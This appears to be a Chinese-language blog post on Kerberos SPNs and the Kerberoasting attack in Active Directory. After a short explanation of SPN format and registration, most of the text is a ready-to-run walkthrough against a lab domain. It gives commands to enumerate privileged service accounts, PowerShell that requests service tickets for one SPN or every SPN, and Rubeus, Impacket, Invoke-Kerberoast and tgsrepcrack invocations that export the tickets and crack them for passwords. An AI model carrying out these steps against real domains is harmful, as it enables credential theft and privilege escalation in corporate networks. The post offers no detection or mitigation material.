SPN简介

SPN是服务器上所运行服务的唯一标识,每个使用kerberos的服务都需要一个SPN;一种注册在AD上机器账户下,另一种注册在域用户下,当一个服务权限为localsystem或者networkservice,则SPN注册在机器账户Computers下,当一个机器服务的权限为一个域用户,则SPN注册在域用户账户Users下

格式:
serviceclass/host:port/servicename
serviceclass:服务名称,如smtp、dns等等
host:FQDN&NETBIOS,如serversmtp.test.com&serversmtp
如果服务运行在默认端口则端口可以省略

注册

setspn -A mysql/OWA2013.rootkit.org:3306  backup
注册一个名为mysql的SPN,分配至backup用户

setspn -S mysql/OWA2013.rootkit.org:3306  backup
验证SPN不存在重复项后进行添加、该参数是用server08后系统开始默认提供

Kerberos&SPN、Kerberoasting

SPN查询

已知SPN也是通过ldap查询的,当前用户也必须是域用户或者机器用户
setspn -q */*
setspn -T rootkit.org -q */*

Kerberos&SPN、Kerberoasting

关于域用户&机器用户注册的SPN,如下分别即可

Kerberos&SPN、Kerberoasting

确认调用ldap协议

Kerberos&SPN、Kerberoasting

Kerberoasting利用

获得SPN修改权限后,能够为指定的域用户添加一个SPN,这样就可以随时获得目标的TGS,通过破解hash能够获得其用户口令

寻找有价值的SPN

注意这个模块只有域控上才有
import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon

Kerberos&SPN、Kerberoasting

powerview同样可查
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,last

Kerberos&SPN、Kerberoasting

kerberoast
powershell: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
vbs: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs

Kerberos&SPN、Kerberoasting

获得指定服务TGS

$SPNName = 'MSSQLSvc/Srv-Web-Kit.rootkit.org'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

Kerberos&SPN、Kerberoasting

Kerberos&SPN、Kerberoasting

导出凭证

Kerberos&SPN、Kerberoasting

获得所以服务TGS
Add-Type -AssemblyName System.IdentityModel  
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  

破解凭证

tgsrepcrack

https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
python3 tgsrepcrack.py 字典.txt 凭证.kirbi

Invoke-Kerberoast

https://github.com/EmpireProject/Empire/blob/6ee7e036607a62b0192daed46d3711afc65c3921/data/module_source/credentials/Invoke-Kerberoast.ps1
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl

Rubeus

Rubeus.exe kerberoast

Kerberos&SPN、Kerberoasting

Impacket

GetUserSPNs_windows.exe -request -dc-ip 192.168.3.144 -debug rootkit.org/sqladmin

Kerberos&SPN、Kerberoasting

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2021-12-19
  • 2021-11-15
猜你喜欢
  • 2021-09-27
  • 2021-10-18
  • 2021-11-02
  • 2021-07-31
  • 2021-07-20
  • 2021-08-16
  • 2022-12-23
相关资源
相似解决方案